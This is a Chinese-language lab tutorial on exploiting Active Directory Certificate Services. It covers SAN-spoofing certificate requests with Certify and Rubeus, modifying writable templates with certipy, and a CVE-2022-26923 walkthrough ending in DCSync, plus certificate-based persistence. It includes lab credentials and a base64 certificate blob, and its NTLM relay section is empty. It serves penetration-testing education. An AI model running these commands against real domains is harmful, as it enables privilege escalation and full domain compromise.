Skip to main content

ADCS的利用

在上一个章节,我们已经简单了解过了 ADCS 的概念、作用、以及简单的枚举。在这一节,我们侧重于 ADCS 相关的利用。在我们的 Lab 中,只有 Med-factory 域配置了 ADCS,我们可以在 Raven-med 森林中对 Med-factory 域的资源进行枚举。出于教学与学习目的,我们提供了 stg01 主机的本地管理员凭证以及对 ADCS 服务具有特定权限的用户 med-factory\justin 的凭证。

stg01\Administrator:Passwordstg01
med-factory\justin:Flower1978@#

如果有学员不太清楚如何利用这些凭证,我们可以在 CS 上运行以下步骤便可以获得 stg01 的 Beacon。

先创建一个 SMB 监听器,名为 smb。

image.png

使用 make_token 命令创建 stg01 本地管理员的令牌,使用 psexec 方法移动到 stg01,权限等级为 SYSTEM。

image.png

然后创建 justin 的 令牌

image.png

尽管我们在上一章节简单介绍了 ADCS 的概念,但随着利用的展开,我们需要了解更多的名词和概念,一起来补充一下吧。


名词与概念

PKI

PKI 即公钥基础设施。PKI 是一个由硬件、软件、策略和程序组成的系统,用于创建、管理、分发、使用、存储和撤销数字证书并监督公钥加密。它主要包括证书颁发机构 (CA)、注册机构 (RA) 和证书库。通过 PKI,可以实现数据加密、身份验证、数据完整性和不可抵赖性,以确保在网络中安全地传输和存储信息。

企业 CA

Certification Authority (CA) 是颁发数字证书以建立不同系统和网络之间信任的可靠实体,企业 CA 是一种与 Active Directory 集成的证书颁发机构,以便对用户、设备、服务等进行身份验证和安全通信,可促进 PKI 基础设施的管理。

证书模板

证书模板是预定义的证书配置文件,包含了创建数字证书所需的一系列参数和属性。证书颁发机构在颁发证书时,可以根据证书模板来生成具有特定用途和设置的证书,以满足不同的安全需求和应用场景。

CSR

CSR 是一个包含公钥及申请者身份信息的文件,用于向证书颁发机构申请数字证书。当一个实体需要获得数字证书时,它会创建一个 CSR,其中包含公钥和需要加密的信息。证书颁发机构在收到 CSR 后,将验证其中的信息,并在批准后签发数字证书。

EKU

EKU 是数字证书中的一个可选扩展,用于指定证书的特定用途。通过 EKU,可以限制证书用于特定的操作,如服务器身份验证、客户端身份验证、代码签名等。这有助于提高安全性,防止证书被滥用。

SAN

Subject Alternative Names 是数字证书的扩展,可以将其他身份与同一证书相关联。 SAN 允许在单个证书中包含多个 DNS 名称、IP 地址和电子邮件地址等,从而可以将其用于各种目的或服务。 当使用多个名称访问同一服务或资源时,此功能特别有效。


枚举的回顾

我们用了 Cerfity 枚举了企业 CA,证书模板信息。企业 CA 名称为 dc03.med-factory.local\med-factory-DC03-CA

image.png

以及存在这些模板

image.png

这些模板中,Vuln1 Vuln2 是被刻意设计的脆弱模板。

我们使用命令 certify.exe find /vulnerable /currentuser 来寻找当前用户,即 Justin 具有特定权限的证书模板:

image.png

image.png

我们发现 justin (属于分组 ADCSManager)对于证书模板 Vuln1 具有注册权,对于证书模板 Vuln2 具有修改权。接下来,我们讨论如何利用它们。



攻击与利用

可被指定的 SAN

当指定的证书模板允许用户指定 SAN 的话,申请者可以提供高权限用户的用户名从而为其申请证书,进而通过证书进行认证实现模仿高权限用户/提权。回顾一下 Vuln1 模板的 msPKI-Certificate-Name-Flag 属性,值为 ENROLLEE_SUPPLIES_SUBJECT,说明 Vuln1 证书模板允许用户自行指定 SAN。

image.png

在 CA 上,该证书模板配置如下:

image.png

我们可以使用 Certify 和 Rubeus 来利用这一配置缺陷。首先,我们使用 Certify 为域管理员用户 administrator 使用 Vuln1 模板申请证书

certify.exe request /ca:<CA> /template:<模板> /altname:<模板的高权限用户>

image.png

image.png

将私钥以及证书一起复制并保存为 cert.pem,然后使用 openssl 将其转换为 pfx 格式,并 base64 编码后格式化输出:

root@ts:/tmp/tmp# nano cert.pem
root@ts:/tmp/tmp# openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
Enter Export Password:
Verifying - Enter Export Password:
root@ts:/tmp/tmp# cat cert.pfx | base64 -w 0
MIIM/wIBAzCCDMUGCSqGSIb3DQEHAaCCDLYEggyyMIIMrjCCBucGCSqGSIb3DQEHBqCCBtgwggbUAgEAMIIGzQYJKoZIhvcNAQcBMBwGCiqGSIb3DQEMAQYwDgQI0RJnCrahg8wCAggAgIIGoIjJead0b/1m72Vnxs/XXSWmxuaS9C7iEV67kvoztfs1ZV67FoWOiL4TmaTSHRxfDfqtZqxBbGmWZLs6pqFH9q/UO8NQMrJ0tNbwdR7Pg+P09Ox4qxtwVWndrndMoN5HD/jZqs6KgXKKJcIp47zSxS7hkYVGSq33zSN6GCSeJnq+WJeZTG4Qg+FsRaE3Ew69bm7hhvYNnwsYSY6xtBJ4EA0frAkd7ex5O+5qideq38AIhbAusTxxN7+KuqpnsN6T+7PQq6i2UeEenyIkaW+xMj0XwcN67q5ZBmsanqVI+aX0JAnwxYclkPQAczSGeNbUlcXoN+ERsV0FUvlc/KpysZbm+kMbDG7Stm3Cx9PN46GdMbMaDMU4P7fSE416XBPfIaGZfNJc2GMZNWoUqYqvBqTw6MEIauWCgCzLp2jPB6jEiGbtHVHHyCxAtRPKkDEQZx+fkB9VCSf0+m8XeBNqkopwnPJUWnLBHN7CjEIw4qnX8vXzt5XJYNclbmh+naM7xeCBKYShVO6NSVdSNxme8ruuUc8U2mvYHXcHfC9HUcJ+RbWP7PDc2ZeyF8Sht2hBCyKUmIgHq9r/WetXkZp5dtUWNPq1C7g76ImmEQ9kvzFFZ7V1TwcVnd/AdnkizVU4zdrpe5Ifqlt2bPvUgaVzqq0frjEBPeCtL2V/u06FKhYuPPRdov+J3QpRGM+HrtiLUNmFX3IrdJcKaiFxiaAW+db97cXOCtwLJBWbEY8duwoyUAXPtsHSFVk1g8tExceA3A1kHf4k7HozSeNMFVU4H3azBeAnrjkgUrWb7ICT3Ar7JScsqVDzrc8GUsbzI9rvoY028G6KXCtCvytYlsqTK//SFiwibf7LKGG5YfSUjV+uYMepayYG8juW1nfyXWVXnaMSjrQNSQ2ZLrsEHALbF9XarouLAXBtUhWqpxPvPXCa3GOWP+Zx4nAA0tj8NY0ia0pVh7kBCXXQHGiwWFQsswYyS2j7F0GMDXtHI7arvYBJa91H03ELdkQNbjRvMm00dMAiiQh75kjsMysdHHK1bVWRV+SCvG6CxRcMDEBDEuDoSJPElmgeZBipG/t60Sn32mnXUfK/s+n+GWpk7vJCwpwslZxxsb5I6wlTpaSoistH7rpj/WOB3QRX7xh9WaKG98Ejm1o+vPHNTKNXXKMdmRO6/fg53n8A3YW06Z4maKHMynhz4C2ya8B0NRrbJ0ypCu31lfbWWLGP08baVdgDOq6189BKm5JWMDhfwTMn6SkUMMN/yQM7UiHiiQj6ONN/fz6aSoSUvWf+N/p/GxkvP8F8m5+dUxYduPMX2WP87fOC3JlAw8EetG9/+ESd8iv7muAMIIgQWFXgZac3CTffwgIUCiXel71kHeN7SA3YZjSGM3H1rJQCt2uPzj8Bwrm8GPMuTVlwffptbHz0HuORI/coz3Du0Ntk+WrVHbnON7IQ/SQUkHAMoFdAXw/wYRGgzXFwf2QWqVvfO8S0TS1fgrmmzwm6SUUcAZNN6rJblZpm9GhhSsSI4eDnA5r9+TXxz5or7lUPBYSptSDwx8PFjWVJSJ4tsejlEtrvCJNk2+T2U1oZQzKhBiWIqeWKLEwOf9dMKc3MIhyBc/Kvs/x4zYPthOg6gbHJY1+TYbHjLK1iIPN8Fje/jW1I1bKGik/VuE9pLJ1vbrUfV50T3bu9ZEDfDbhUixZ8MB3n+hcmlQajJfCU7/Gk2qioWxPKVRmUzHpqHFnPgeF0YLRcVOC3ZRLLjIjiDEmg5JQY+GFL7LOXxbc5KcsEjk4cuGWOoMXw57XuaMxVj8BQO7v3QHPMK3ou0TNCFp9JPrThPPufokWo9jFqrFhF4uHxj7PpcQhn9qpwHtu2bG2ipuMJ6CBi5wEO5gejST/6wAXwTYFUbsHWFSK1YDLQht5GfzBFL6K9UCJOoXucFbdtqcEJNhdz+4DW28iYXiN3wW+bljcSdUPsKBpgzfttMJZ/PtqRwuyWyPt6H55l6A8E4oZH6XwHsm3JpZTi5zA7XUZ21o/rH5Fyf5JxRla0u7LeCnMZFSgnzRUy20wGvePZD4GinUGwW7UtlAY62dGdeMPo270KDpg65gb1rMzeQJUuQHVzaJYNPYYb1TqIV5YhpOWv/dDkqf3RxoUmFxX+tUaiFlKGfru80jdAFxg1lkxmFZiPuFwlD0xWjh1p4zc7wtYZt6LVtD+s1tNYZ7eeP7a1g02B13PdHUWeUyGvX+thj/2lmzESASOmHjG3aGrSpBqGniZo1BYwggW/BgkqhkiG9w0BBwGgggWwBIIFrDCCBagwggWkBgsqhkiG9w0BDAoBAqCCBP4wggT6MBwGCiqGSIb3DQEMAQMwDgQIX5a2tud/+8wCAggABIIE2A4Butgl/pUQTxezpnHH4MVQrrYTdKRrpsMRpABEhm4H+U5JNLlVRsarqqP5Z76mskdUDSzLTlYO/XhOQhCeERU2daUCVjF1/cf0BZ1ihER6/u62KbExTHyK2gENUKa9HJIW5u/t3CIq0ec5ypg+SI37q/aNk0hsCvbcrkwqdWzyPMsnLtLRnLtBK4Kqp/DVY0/ZflvI5qGZDSFmPB6tJcTCmnyEB+Tr4T03XyNhm6v9Le0EvcA5iRWeh8ek37ilO5dkcs2oKJf2q9PQOfI06XxWawJQ2BPliAlQcVQBAik3ObBe/WIf4Ki6PzpoM2Bzx5IyYA9Icf5fwjmet51BXpF3njFddEGa/R5S6S4o4VSY3V/R/sBteYpZNPvEq2E5GEJ139rqXzIrEQlvjPCctrcqznkxRCR8k53oG/MIkONqhSBSYHTCQ7e1rEVnQOtxhZH5Lr8NNgX1CaYDcfbEIp5XakmSELM9QdysG+N14d1gP8Gofc2lTIZQGqvcWmu52xyyw4RgMEWza7nJkEzUdCL/cbMk6TdGPejR/9QaZG/cZP0VA35eaN10ImSuW8SYMf7GyTY8YNJ2QYcYGBPLeuuwneWFpNgRj0th5k2IfkKuMW+PC9E/O0+FJmKwLCNTUAYt7KXX0eKotiVUXP+P2zWh6aMZJrMHZ/OfJ4SeSVzCVHvVMlm4G0sKksHdR7TQ8WBUSF5zJ5egFh0aRSy2IRWz3wcWpyzLX8mx3vKG4MOb9JipCfSCiJCel5nlpTaamhrNn1AioKYOWBoY8nFl2zG/Wh/wSjcECDmE6xiwsOV+JvS9mVziD6VXD1LN+vSKmS1bI0JdhdYWDEKAhAgvlr1OBhVfP0H9xw7IU31Xi+PZTL96gB+F2oNxESxIGKKMR7O/XkKbYabNvOAp3i2p7J8VSEaCJyuv9e5HKpl8HqFqLKO8RY94NyTBn4p/f+9qJ+G4737Sp62VcqUXDjnpS9MlYaSMMNzI80q3/kCqZ/uuu3Vhg98Pf2rCo22St3eRWU18sRSicuiD7y2Y390hObRFhesCmBIC9oMhXlbK1Wl6sTpPs3YUzMnHy2/uRTXBc5R3oB+asPnIzwFL7AEMAzpzNqbHARS8wIExIQhwj4j4svZWxPDeUVrUxS066XBPFC+eravkogu/M7wMFAqwIgOP23moSGosfQ0Iz7Z0Ekojz2FFYRJTNvrtEiYWfZ15T+6FFpPuWIqtGID3SK39NxtEsLB5w0ULmyHCmXSvY+cAmIFOsJeO+m0f/m6kiqPdcJZNgdzUcRWpk3eIGi/hLT961h/7IrYNvOSw8I8iayfw6hYkke74bDW7kYl5JQhfAyddiY6BNDJHW2K7/egLb5CDW/fsp7NGiZtQb0boCa/hbpOE4xvt/hXlLN+RYP2uUDBkYGV5r2/caHrQAyb/N6y6PtMEbkppDEVrdoOr+NEgD6265dEV87wE0lZxVrt6b0yHldavVlqfXISdfzllxTRlRZXTjQBCsj5YK19zo8XiOceu8cBQjRpJpLWstqhy8Ry80J0uM/AleumnZhO3bUuQttDL22RxW9AGoGGWaEv+23CHlbFGmQrbaLhc5cllLsawxOoBLShysIWZ1TrvRSz+Z8+RXpErMMXU1eKPnUAFoPHIuJJZg+wxgZIwIwYJKoZIhvcNAQkVMRYEFNGHRpc1ZOH0AvWIxk2uo3x4QZx8MGsGCSsGAQQBgjcRATFeHlwATQBpAGMAcgBvAHMAbwBmAHQAIABFAG4AaABhAG4AYwBlAGQAIABDAHIAeQBwAHQAbwBnAHIAYQBwAGgAaQBjACAAUAByAG8AdgBpAGQAZQByACAAdgAxAC4AMDAxMCEwCQYFKw4DAhoFAAQUGD0hgURkr+1P4v

image.png

pfx 格式的证书上传到服务器上,也可以使用 base64 编码后的内容。最后,使用 Rubeus 通过该证书申请高权限用户的 TGT。

rubeus.exe asktgt /user:<模仿的用户> /certificate:<证书文件或内容> /password:<密码> /nowrap

image.png


可写的证书模板

对于 Vuln2 模板,我们不可以指定任意的用户名,但是用户 justin 对其具有修改权,那么思路便很明确,修改该证书模板,使其与 Vuln1 一样,用户可以指定任意用户名,然后后面的步骤自然是一致的。

certipy template -template <模板名称> -u <用户> -p <密码> -dc-ip <DC IP> -target <目标地址>

image.png

在这之后,我们发现 Vuln2 也允许用户自行指定 SAN 了。

image.png


CVE-2022-26923

在2022 年,一个有关 ADCS 的严重域内特权提升的漏洞被披露,低权限用户可以利用此漏洞接管整个域。在讨论 RBCD 时,我们知道默认情况下每个域用户最多可以向域内添加 10 台主机,因为有些公司允许 BYOD 策略。 而用户自然是被添加的主机的所有者。 因此,他们对被添加的计算机的某些属性 (例如 dnsHostNameservicePrincipalName) 具有写权限。

我们可以将被添加的计算机的 dnsHostName 修改为域控制器的主机名。 但是,因为每个计算机对象都被设置了 SPN,并且随着计算机的 dnsHostName 属性更新,SPN 也会相应更新。 每个 SPN 在域内都是唯一的。 因此,会产生 SPN 冲突。 要绕过这个限制,我们可以删除已添加的计算机的 SPN,然后更新其 dnsHostName 属性。 之后,我们可以使用 Machine 证书模板为新注册的计算机申请证书,最后请求 TGT。 由于被添加的计算机的 dnsHostName 与域控制器的相同,我们实际上将获得了 Dc03 的证书,而不是新添加的计算机的。

综上所述,利用步骤如下。

1:拿下一低特权域用户
2:添加一台新的计算机帐户
3:删除新计算机帐户的 SPN 属性。
4:将 dnsHostName 属性更新为 Dc03 的 FQDN
5:为已添加的计算机申请证书,但该证书是针对域控制器的
6:为域控制器请求 TGT
7:使用 DCSync 检索任何凭证或在 Dc03上获取 SYSTEM 访问权限

我们可以使用 powermad.ps1 或者 Impacket 来添加一个新的主机帐号

python3 addcomputer.py '<域FQDN>/<用户名>:<密码>' -method LDAPS -computer-name 'ADCS' -computer-pass '123' -dc-ip <DC IP>

image.png

然后清除掉 ADCS 主机的 SPN,并且将其 dnsHostname 指定为 dc03.med-factory.local

Set-ADComputer <主机名> -ServicePrincipalName @{}
Set-ADComputer <主机名> -DnsHostName <域控制器FQDN>
Get-ADComputer <主机名> -properties dnshostname,serviceprincipalname

image.png

我们看到,DnsHostname 已经被修改成 Dc03 的了,SPN 也不见了。接下来,使用 certipy 为新增的计算机申请证书:

certipy req -username 'ADCS$@<域FQDN>' -password 123 -ca <CA名> -dc-ip <DC IP> -template Machine

image.png

使用 Rubeus 根据证书申请 TGT,我们获得了 Dc03$ 主机账号的 TGT 票据。我们可以根据之前所学,要么使用 Dcsync 提取任意用户的凭证,要么利用 S4U2Self 将其转换为 cifs 的 TGS。 

image.png

 

 

基于ADCS Web 终端的 NTLM 中继



持久化

我们还可以通过 ADCS 实现访问持久化。 通常来说,模板 User Machine 是可用的,默认情况下允许任何域用户/计算机申请证书。

用户持久化


申请用户证书是保持访问持久性的好方法,因为证书默认有效期为一年,无论密码是否更改。 请求证书不与 lsass.exe 交互,因此它有更好的 OPSEC。

要为当前用户申请证书,请执行以下命令:

certify.exe request /ca:<CA> /template:User

image.png

 

主机持久化


计算机帐户是一种特殊类型的域用户,每个计算机帐户都以 $ 结尾。 因此,该过程类似于请求用户证书。


请求计算机证书需要本地管理员权限,添加标志 /machine 告诉 Certify 提升到 SYSTEM

certify.exe request  /ca:<CA>/template:Machine  /machine


image.png